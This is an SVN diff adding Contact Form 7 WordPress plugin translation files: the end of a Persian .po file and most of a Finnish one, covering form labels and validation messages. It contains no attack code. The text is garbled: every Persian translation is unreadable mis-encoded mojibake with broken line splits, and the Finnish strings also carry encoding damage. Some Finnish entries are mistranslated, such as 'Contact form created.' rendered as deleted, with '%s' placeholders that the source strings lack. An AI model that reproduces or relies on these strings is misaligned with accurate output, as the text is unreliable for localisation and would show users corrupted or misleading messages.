+Ø§ÛØ¯Ø"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:168
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* Ø§ÛÙ ØšØ¯ÛÙ Ù
+Ø¹ÙØ§Ø³Øª Ú©Ù Ú©Ø³Û Ú©Ù ØŽØ±Ø§ÛØ· Ø±Ø§ Ù
+Û ÙŸØ°ÛØ±Ø¯ Ø¢ÙØ±Ø§ ØšÙ Ø­Ø§ÙØª ØªÛÚ© ÙØ®ÙØ±Ø¯Ù Ø¯Ø± Ù
+Û Ø¢ÙØ±Ø¯."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:169
+msgid "CAPTCHA"
+msgstr "Ú©Ø¯ Ø§Ù
+ÙÛØªÛ"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:170
+msgid "Quiz"
+msgstr "ÙŸØ±Ø³ØŽ"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:171
+msgid "Quizzes"
+msgstr "ÙŸØ±Ø³ØŽ ÙØ§"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:172
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "* ÙŸØ±Ø³ØŽ|ÙŸØ§Ø³Ø® (Ù
+Ø«Ø§Ù: 1+1Ø|2)"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:173
+msgid "File upload"
+msgstr "Ø¢ÙŸÙÙØ¯ ÙØ§ÛÙ"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:174
+msgid "bytes"
+msgstr "ØšØ§ÛØª"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:175
+msgid "Submit button"
+msgstr "Ø§Ø±Ø³Ø§Ù"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:176
+msgid "Name"
+msgstr "ÙØ§Ù
+ ÙÛÙØ¯"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:177
+msgid "Required field?"
+msgstr "Ú¯Ø²ÛÙÙ Ø§Ø¬ØšØ§Ø±Û"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:178
+msgid "Allow multiple selections?"
+msgstr "Ù
+Ø¬Ø§Ø² ØšÙ Ø§ÙØªØ®Ø§Øš ÚÙØ¯ Ú¯Ø²ÛÙÙ ØšÙ Ø·ÙØ± ÙÙ
+Ø²Ù
+Ø§ÙØ"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:179
+msgid "Insert a blank item as the first option?"
+msgstr "Ø¢ÛØªÙ
+ Ø®Ø§ÙÛ ØšÙ Ø¹ÙÙØ§Ù Ø§ÙÙÛÙ Ø§ÙØªØ®Ø§Øš ÙØ±Ø§Ø± Ø¯Ø§Ø¯Ù ØŽÙØ¯Ø"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:180
+msgid "Make checkboxes exclusive?"
+msgstr "Ø¬Ø¹ØšÙ ÙØ§Û Ø¹ÙØ§Ù
+ØªÚ¯Ø°Ø§Ø±Û ØšÙ ØµÙØ±Øª Ø§ÙØ­ØµØ§Ø±Û ØšØ§ØŽÙØ¯Ø"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:181
+msgid "Choices"
+msgstr "Ø§ÙØªØ®Ø§Øš ÙØ§"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:182
+msgid "Label"
+msgstr "ØšØ±ÚØ³Øš"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:183
+msgid "Default value"
+msgstr "Ù
+ÙØ¯Ø§Ø± ÙŸÛØŽ ÙØ±Ø¶"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:184
+msgid "Akismet"
+msgstr "Ø§Ú©ÛØ³Ù
+Øª"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:185
+msgid "This field requires author's name"
+msgstr "Ø§ÛÙ Ú¯Ø²ÛÙÙ ÙÛØ§Ø²Ù
+ÙØ¯ ÙØ§Ù
+ ÙÙÛØ³ÙØ¯Ù Ø§Ø³Øª"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:186
+msgid "This field requires author's URL"
+msgstr "Ø§ÛÙ Ú¯Ø²ÛÙÙ ÙÛØ§Ø²Ù
+ÙØ¯ Ø¢Ø¯Ø±Ø³ Ø§ÛÙØªØ±ÙØªÛ ÙÙÛØ³ÙØ¯Ù Ø§Ø³Øª"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:187
+msgid "This field requires author's email address"
+msgstr "Ø§ÛÙ Ú¯Ø²ÛÙÙ ÙÛØ§Ø²Ù
+ÙØ¯ Ø¢Ø¯Ø±Ø³ ÙŸØ³Øª Ø§ÙÚ©ØªØ±ÙÙÛÚ© ÙÙÛØ³ÙØ¯Ù Ø§Ø³Øª"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:188
+msgid "Copy this code and paste it into the form left."
+msgstr "Ø§ÛÙ Ú©Ø¯ Ø±Ø§ Ø¯Ø± ÙØ±Ù
+ Ø®ÙØ¯ ØšÚØ³ØšØ§ÙÛØ¯"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:189
+msgid "Foreground color"
+msgstr "Ø±ÙÚ¯ ÙŸÛØŽ Ø²Ù
+ÛÙÙ"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:190
+msgid "Background color"
+msgstr "Ø±ÙÚ¯ ÙŸØ³ Ø²Ù
+ÛÙÙ"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:191
+msgid "Image size"
+msgstr "Ø§ÙØ¯Ø§Ø²Ù ØªØµÙÛØ±"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:192
+msgid "Small"
+msgstr "Ú©ÙÚÚ©"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:193
+msgid "Medium"
+msgstr "Ù
+ØªÙØ³Ø·"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:194
+msgid "Large"
+msgstr "ØšØ²Ø±Ú¯"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:195
+msgid "Image settings"
+msgstr "ØªÙØžÛÙ
+Ø§Øª ØªØµÙÛØ±"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:196
+msgid "Input field settings"
+msgstr "ÙØ±Ø§Ø± Ø¯Ø§Ø¯Ù ØªÙØžÛÙ
+Ø§Øª Ú¯Ø²ÛÙÙ"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:197
+msgid "For image"
+msgstr "ØšØ±Ø§Û ØªØµÙÛØ±"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:198
+msgid "For input field"
+msgstr "ØšØ±Ø§Û Ú¯Ø²ÛÙÙ ÙØ±ÙØ¯Û"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:199
+msgid "* One choice per line."
+msgstr "* ÛÚ© Ø§ÙØªØ®Ø§Øš Ø¯Ø± ÙØ± Ø®Ø·"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:200
+msgid "Show"
+msgstr "ÙÙ
+Ø§ÛØŽ"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:201
+msgid "Hide"
+msgstr "ÙŸÙÙØ§Ù"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:202
+msgid "File size limit"
+msgstr "Ø­Ø¬Ù
+ Ù
+Ø¬Ø§Ø² Ø¢ÙŸÙÙØ¯"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:203
+msgid "Acceptable file types"
+msgstr "ÙØ§ÛÙ ÙØ§Û Ù
+Ø¬Ø§Ø²"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:204
+msgid "Note: To use CAPTCHA, you need Really Simple CAPTCHA plugin installed."
+msgstr "ØªØ°Ú©Ø±: Ø¬ÙØª Ø§Ø³ØªÙØ§Ø¯Ù Ø§Ø² ØªØµØ§ÙÛØ±Ø§Ù
+ÙÛØªÛ (Ú©ÙŸÚØ§) ØšØ§ÛØ¯ Ø§ÙØ²ÙÙÙ Really Simple CAPTCHA Ø±Ø§ ÙØµØš ÙÙ
+Ø§ØŠÛØ¯."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:223
+msgid "Contact form created."
+msgstr "ÙØ±Ù
+ ØªÙ
+Ø§Ø³ Ø§ÛØ¬Ø§Ø¯ ØŽØ¯"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:226
+msgid "Contact form saved."
+msgstr "ÙØ±Ù
+ ØªÙ
+Ø§Ø³ Ø°Ø®ÛØ±Ù ØŽØ¯"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:229
+msgid "Contact form deleted."
+msgstr "ÙØ±Ù
+ ØªÙ
+Ø§Ø³ Ø­Ø°Ù Ú¯Ø±Ø¯ÛØ¯"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:240
+msgid "Untitled"
+msgstr "ØšÛ ÙØ§Ù
+ Ù ÙØŽØ§Ù"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:253
+msgid "Your Name"
+msgstr "ÙØ§Ù
+ Ù ÙØ§Ù
+ Ø®Ø§ÙÙØ§Ø¯Ú¯Û"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:253
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:255
+msgid "(required)"
+msgstr "(Ú¯Ø²ÛÙÙ Ø§ÙØ²Ø§Ù
+Û)"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:255
+msgid "Your Email"
+msgstr "ÙŸØ³Øª Ø§ÙÚ©ØªØ±ÙÙÛÚ©"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:257
+msgid "Subject"
+msgstr "Ù
+ÙØ¶ÙØ¹"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:259
+msgid "Your Message"
+msgstr "ÙŸÛØºØ§Ù
+"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:261
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/includes/classes.php:411
+msgid "Send"
+msgstr "Ø§Ø±Ø³Ø§Ù"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:334
+msgid "Settings"
+msgstr "ØªÙØžÛÙ
+Ø§Øª ØªØµÙÛØ±"
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:355
+msgid "Contact Form 7 needs your support. Please donate today."
+msgstr "ÙØ±Ù
+ ØªÙ
+Ø§Ø³ ÙØ³Ø®Ù 7 ØšÙ ÛØ§Ø±Û ØŽÙ
+Ø§ ÙÛØ§Ø²Ù
+ÙØ¯ Ø§Ø³Øª. ÙØ·ÙØ§Ù Ú©Ù
+Ú© ÙØ§Û Ù
+Ø§ÙÛ Ø®ÙØ¯ Ø±Ø§ ØšØ±Ø§Û Ù
+Ø§ Ø§Ø±Ø³Ø§Ù ÙØ±Ù
+Ø§ØŠÛØ¯."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:356
+msgid "Is this plugin useful for you? If you like it, please help the developer."
+msgstr "Ø¢ÛØ§ Ø§ÛÙ Ø§ÙØ²ÙÙÙ ØšØ±Ø§Û ØŽÙ
+Ø§ Ù
+ÙÛØ¯ ØšÙØ¯Ù Ø§Ø³Ø Ø¯Ø± ØµÙØ±ØªÛÚ©Ù Ø§Ø² Ø¢Ù Ø±Ø¶Ø§ÛØªÙ
+ÙØ¯ÛØ¯Ø ÙØ·ÙØ§Ù ØšÙ ØªÙØ³Ø¹Ù Ø¯ÙÙØ¯Ù Ø¢Ù Ú©Ù
+Ú© ÙÙ
+Ø§ØŠÛØ¯."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:357
+msgid "Your contribution is needed for making this plugin better."
+msgstr "ØšØ±Ø§Û ØšÙØšÙØ¯ Ø§ÛÙ Ø§ÙØ²ÙÙÙ ØšÙ Ù
+ØŽØ§Ø±Ú©Øª ØµÙ
+ÛÙ
+Ø§ÙÙ ØŽÙ
+Ø§ ÙÛØ§Ø²Ù
+ÙØ¯ÛÙ
+."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/admin/admin.php:358
+msgid "Developing a plugin and providing user support is really hard work. Please help."
+msgstr "ØªÙØ³Ø¹Ù Ø§ÙØ²ÙÙÙ Ù Ø§Ø±Ø§ØŠÙ Ø®Ø¯Ù
+Ø§Øª ÙŸØŽØªÛØšØ§ÙÛ Ú©Ø§Ø± ØšØ³ÛØ§Ø± Ø·Ø§ÙØª ÙØ±Ø³Ø§ÛÛ Ø§Ø³Øª. ÙØ·ÙØ§Ù Ù
+Ø§ Ø±Ø§ ÛØ§Ø±Û ÙÙ
+Ø§ØŠÛØ¯."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/includes/classes.php:352
+msgid "To use CAPTCHA, you need <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> plugin installed."
+msgstr "ØšØ±Ø§Û Ø§Ø³ØªÙØ§Ø¯Ù Ø§Ø² ØªØµØ§ÙÛØ± Ø§Ù
+ÙÛØªÛ (Ú©ÙŸÚØ§)Ø ØšØ§ÛØ¯ <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> Ø±Ø§ ÙØµØš ÙÙ
+Ø§ØŠÛØ¯."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/includes/functions.php:6
+msgid "Your message was sent successfully. Thanks."
+msgstr "ÙŸÛØºØ§Ù
+ ØŽÙ
+Ø§ ØšØ§ Ù
+ÙÙÙÛØª Ø§Ø±Ø³Ø§Ù ØŽØ¯. Ù
+ØªØŽÚ©Ø±ÛÙ
+."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/includes/functions.php:8
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/includes/functions.php:10
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Ù
+ØªØ£Ø³ÙØ§ÙÙ Ø§Ø±Ø³Ø§Ù ÙŸÛØºØ§Ù
+ ØŽÙ
+Ø§ ØšØ§ Ù
+ØŽÚ©Ù Ù
+ÙØ§Ø¬Ù ØŽØ¯. ÙØ·ÙØ§Ù ØšØ¹Ø¯Ø§Ù Ù
+Ø¬Ø¯Ø¯Ø§Ù Ø³Ø¹Û ÙÙ
+ÙØ¯Ù ÛØ§ Ø§Ø² Ø±ÙØŽÛ Ø¯ÛÚ¯Ø± ØšØ§ Ù
+Ø¯ÛØ± Ø³Ø§ÛØª ØªÙ
+Ø§Ø³ Ø­Ø§ØµÙ ÙØ±Ù
+Ø§ØŠÛØ¯."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/includes/functions.php:12
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "ØªØ§ØŠÛØ¯ ÙØ§Ù
+ÙÙÙ. ÙØ·ÙØ§Ù Ú¯Ø²ÛÙÙ Ù
+ÙØ±Ø¯ ÙØžØ± Ø±Ø§ ØªØ§ØŠÛØ¯ ÙÙ
+ÙØ¯Ù Ù Ù
+Ø¬Ø¯Ø¯Ø§Ù Ø³Ø¹Û ÙÙ
+Ø§ØŠÛØ¯."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/includes/functions.php:14
+msgid "Please accept the terms to proceed."
+msgstr "ÙØ·ÙØ§Ù Ø¬ÙØª Ø§Ø¯Ø§Ù
+Ù ØŽØ±Ø§ÛØ· Ø§Ø±Ø³Ø§Ù ÙØ§Ù
+Ù Ø±Ø§ ÙŸØ°ÛØ±ÙØªÙ Ù ØªØ§ØŠÛØ¯ ÙÙ
+Ø§ØŠÛØ¯."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/includes/functions.php:16
+msgid "Email address seems invalid."
+msgstr "Ø¢Ø¯Ø±Ø³ ÙŸØ³Øª Ø§ÙÚ©ØªØ±ÙÙÛÚ© ÙØ§Ø±Ø¯ ØŽØ¯Ù ÙØ§Ù
+Ø¹ØªØšØ± ØšÙ ÙØžØ± Ù
+Û Ø±Ø³Ø¯."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/includes/functions.php:18
+msgid "Please fill the required field."
+msgstr "ÙØ·ÙØ§Ù Ú¯Ø²ÛÙÙ ÙØ§Û Ø§Ø¬ØšØ§Ø±Û Ø±Ø§ ØªÚ©Ù
+ÛÙ ÙÙ
+Ø§ØŠÛØ¯."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/includes/functions.php:20
+msgid "Your entered code is incorrect."
+msgstr "Ú©Ø¯ ÙØ§Ø±Ø¯Ù Ø§ØŽØªØšØ§Ù Ø§Ø³Øª."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/includes/functions.php:22
+msgid "Your answer is not correct."
+msgstr "ÙŸØ§Ø³Ø® ÙØ§Ø±Ø¯Ù Ø§ØŽØªØšØ§Ù Ø§Ø³Øª."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/includes/functions.php:24
+msgid "Failed to upload file."
+msgstr "Ø§ÙØµØ§Ù ÙØ§ÛÙ ØšØ§ Ù
+ØŽÚ©Ù Ù
+ÙØ§Ø¬Ù ØŽØ¯."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/includes/functions.php:26
+msgid "This file type is not allowed."
+msgstr "Ø§ÙØµØ§Ù Ø§ÛÙ ÙÙØ¹ ÙØ§ÛÙ Ù
+Ø¬Ø§Ø² ÙÙ
+Û ØšØ§ØŽØ¯."
+
+#: e:\mohammad\xampp2\htdocs\wordpress\wp-content\plugins\contact-form-7/includes/functions.php:28
+msgid "This file is too large."
+msgstr "Ø§ÙØ¯Ø§Ø²Ù Ø§ÛÙ ÙØ§ÛÙ ØšÛØŽ Ø§Ø² Ø­Ø¯ ØšØ²Ø±Ú¯ Ø§Ø³Øª."
+
+#~ msgid "Delete this contact form"
+#~ msgstr "Ø­Ø°Ù Ø§ÛÙ ÙØ±Ù
+ ØªÙ
+Ø§Ø³"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-fi.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-fi.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-fi.po	(revision 44)
@@ -0,0 +1,320 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: WP Contact Form 7\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-08-10 18:56+0900\n"
+"PO-Revision-Date: 2008-08-20 16:48+0200\n"
+"Last-Translator: Miika Turunen <miika@webwork.fi>\n"
+"Language-Team: Takayuki Miyoshi <takayukister@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Japanese\n"
+"X-Poedit-Country: JAPAN\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: ../..\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#: contact-form-7/wp-contact-form-7.php:309
+msgid "Contact form"
+msgstr "Yhteydenottolomake"
+
+#: contact-form-7/wp-contact-form-7.php:403
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/wp-contact-form-7.php:419
+msgid "optional"
+msgstr "Valinnainen"
+
+#: contact-form-7/wp-contact-form-7.php:420
+msgid "Generate Tag"
+msgstr "Luo tagi"
+
+#: contact-form-7/wp-contact-form-7.php:421
+msgid "Text field"
+msgstr "Tekstialue"
+
+#: contact-form-7/wp-contact-form-7.php:422
+msgid "Email field"
+msgstr "SÃ€hkÃ¶postikenttÃ€"
+
+#: contact-form-7/wp-contact-form-7.php:423
+msgid "Text area"
+msgstr "TekstikenttÃ€"
+
+#: contact-form-7/wp-contact-form-7.php:424
+msgid "Drop-down menu"
+msgstr "Alasvetovalikko"
+
+#: contact-form-7/wp-contact-form-7.php:425
+msgid "Checkboxes"
+msgstr "Valintaruudut"
+
+#: contact-form-7/wp-contact-form-7.php:426
+msgid "Radio buttons"
+msgstr "Valintanapit"
+
+#: contact-form-7/wp-contact-form-7.php:427
+msgid "Acceptance"
+msgstr "HyvÃ€ksyntÃ€"
+
+#: contact-form-7/wp-contact-form-7.php:428
+msgid "Make this checkbox checked by default?"
+msgstr "Merkitse tÃ€mÃ€ valintaruutu aktiiviseksi?"
+
+#: contact-form-7/wp-contact-form-7.php:429
+msgid "Make this checkbox work inversely?"
+msgstr "Tee tÃ€stÃ€ valintaruudusta kÃ€Ã€nteinen?"
+
+#: contact-form-7/wp-contact-form-7.php:430
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* TÃ€mÃ€ tarkoittaa sitÃ€ ettÃ€ kÃ€yttÃ€jÃ€n tÃ€ytyy ottaa valinta pois hyvÃ€ksyÃ€kseen ehdon"
+
+#: contact-form-7/wp-contact-form-7.php:431
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/wp-contact-form-7.php:432
+msgid "Submit button"
+msgstr "LÃ€hetÃ€ -nappi"
+
+#: contact-form-7/wp-contact-form-7.php:433
+msgid "Name"
+msgstr "Nimi"
+
+#: contact-form-7/wp-contact-form-7.php:434
+msgid "Required field?"
+msgstr "Pakollinen tieto?"
+
+#: contact-form-7/wp-contact-form-7.php:435
+msgid "Allow multiple selections?"
+msgstr "Salli monivalinta?"
+
+#: contact-form-7/wp-contact-form-7.php:436
+msgid "Insert a blank item as the first option?"
+msgstr "Laita tyhjÃ€ valinta ensimmÃ€iseksi vaihtoehdoksi?"
+
+#: contact-form-7/wp-contact-form-7.php:437
+msgid "Make checkboxes exclusive?"
+msgstr "Tee valintaruuduista poissulkeva?"
+
+#: contact-form-7/wp-contact-form-7.php:438
+msgid "Choices"
+msgstr "Valinnat"
+
+#: contact-form-7/wp-contact-form-7.php:439
+msgid "Label"
+msgstr "Nimi"
+
+#: contact-form-7/wp-contact-form-7.php:440
+msgid "Default value"
+msgstr "Vakioarvo"
+
+#: contact-form-7/wp-contact-form-7.php:441
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/wp-contact-form-7.php:442
+msgid "This field requires author's name"
+msgstr "TÃ€mÃ€ kenttÃ€ vaatii kirjoittajan nimen"
+
+#: contact-form-7/wp-contact-form-7.php:443
+msgid "This field requires author's URL"
+msgstr "TÃ€mÃ€ kenttÃ€ vaatii kirjoittajan URL:n"
+
+#: contact-form-7/wp-contact-form-7.php:444
+msgid "This field requires author's email address"
+msgstr "TÃ€mÃ€ kenttÃ€ vaatii kirjoittajan sÃ€hkÃ¶postiosoitteen"
+
+#: contact-form-7/wp-contact-form-7.php:445
+msgid "Copy and paste this code into the form"
+msgstr "Kopioi ja liitÃ€ tÃ€mÃ€ koodi artikkeliin, jossa haluat yhteydenottolomakkeen nÃ€kyvÃ€n."
+
+#: contact-form-7/wp-contact-form-7.php:446
+msgid "Foreground color"
+msgstr "Etuosan vÃ€ri"
+
+#: contact-form-7/wp-contact-form-7.php:447
+msgid "Background color"
+msgstr "Taustan vÃ€ri"
+
+#: contact-form-7/wp-contact-form-7.php:448
+msgid "Image size"
+msgstr "Kuvan koko"
+
+#: contact-form-7/wp-contact-form-7.php:449
+msgid "Small"
+msgstr "Pieni"
+
+#: contact-form-7/wp-contact-form-7.php:450
+msgid "Medium"
+msgstr "Keski"
+
+#: contact-form-7/wp-contact-form-7.php:451
+msgid "Large"
+msgstr "Suuri"
+
+#: contact-form-7/wp-contact-form-7.php:452
+msgid "Image settings"
+msgstr "Kuvan asetukset"
+
+#: contact-form-7/wp-contact-form-7.php:453
+msgid "Input field settings"
+msgstr "SyÃ¶tekentÃ€n asetukset"
+
+#: contact-form-7/wp-contact-form-7.php:454
+msgid "For image"
+msgstr "Kuvalle"
+
+#: contact-form-7/wp-contact-form-7.php:455
+msgid "For input field"
+msgstr "SyÃ¶tekentÃ€lle"
+
+#: contact-form-7/wp-contact-form-7.php:456
+msgid "* One choice per line."
+msgstr "* Yksi valinta per rivi"
+
+#: contact-form-7/wp-contact-form-7.php:483
+msgid "Contact form created."
+msgstr "Yhteydenottolomake \"%s\" poistettiin."
+
+#: contact-form-7/wp-contact-form-7.php:486
+msgid "Contact form saved."
+msgstr "Yhteydenottolomake \"%s\" tallennettiin."
+
+#: contact-form-7/wp-contact-form-7.php:489
+msgid "Contact form deleted."
+msgstr "Yhteydenottolomake \"%s\" poistettiin."
+
+#: contact-form-7/wp-contact-form-7.php:496
+msgid "Untitled"
+msgstr "Ei otsikkoa"
+
+#: contact-form-7/wp-contact-form-7.php:522
+msgid "Your Name"
+msgstr "Nimi"
+
+#: contact-form-7/wp-contact-form-7.php:522
+#: contact-form-7/wp-contact-form-7.php:524
+msgid "(required)"
+msgstr "(pakollinen)"
+
+#: contact-form-7/wp-contact-form-7.php:524
+msgid "Your Email"
+msgstr "SÃ€hkÃ¶posti"
+
+#: contact-form-7/wp-contact-form-7.php:526
+msgid "Subject"
+msgstr "Aihe"
+
+#: contact-form-7/wp-contact-form-7.php:528
+msgid "Your Message"
+msgstr "Viesti"
+
+#: contact-form-7/wp-contact-form-7.php:530
+#: contact-form-7/wp-contact-form-7.php:1046
+msgid "Send"
+msgstr "LÃ€hetÃ€"
+
+#: contact-form-7/wp-contact-form-7.php:559
+msgid "Your message was sent successfully. Thanks."
+msgstr "Viesti lÃ€hetettiin onnistuneesti. Kiitos yhteydenotostanne!"
+
+#: contact-form-7/wp-contact-form-7.php:561
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Viestin lÃ€hetys epÃ€onnistui. YritÃ€ myÃ¶hemmin uudestaan tai ota yhteyttÃ€ jÃ€rjestelmÃ€nvalvojaan."
+
+#: contact-form-7/wp-contact-form-7.php:563
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Lomakkeesta lÃ¶ytyi virheitÃ€. Tarkasta lomake ja yritÃ€ uudelleen."
+
+#: contact-form-7/wp-contact-form-7.php:565
+msgid "Please accept the terms to proceed."
+msgstr "HyvÃ€ksy kÃ€yttÃ¶ehdot jatkaaksesi."
+
+#: contact-form-7/wp-contact-form-7.php:567
+msgid "Email address seems invalid."
+msgstr "SÃ€hkÃ¶postiosoite vaikuttaa virheelliseltÃ€."
+
+#: contact-form-7/wp-contact-form-7.php:569
+msgid "Please fill the required field."
+msgstr "TÃ€ytÃ€ pakollinen kenttÃ€."
+
+#: contact-form-7/wp-contact-form-7.php:571
+msgid "Your entered code is incorrect."
+msgstr "SyÃ¶ttÃ€mÃ€si koodi on virheellinen."
+
+#: contact-form-7/includes/admin-panel.php:16
+msgid "Add new"
+msgstr "LisÃ€Ã€ uusi"
+
+#: contact-form-7/includes/admin-panel.php:32
+msgid "Copy and paste this code into your post content."
+msgstr "Kopioi ja liitÃ€ tÃ€mÃ€ koodi artikkeliin, jossa haluat yhteydenottolomakkeen nÃ€kyvÃ€n."
+
+#: contact-form-7/includes/admin-panel.php:38
+msgid "Form"
+msgstr "Lomake"
+
+#: contact-form-7/includes/admin-panel.php:42
+msgid "Mail"
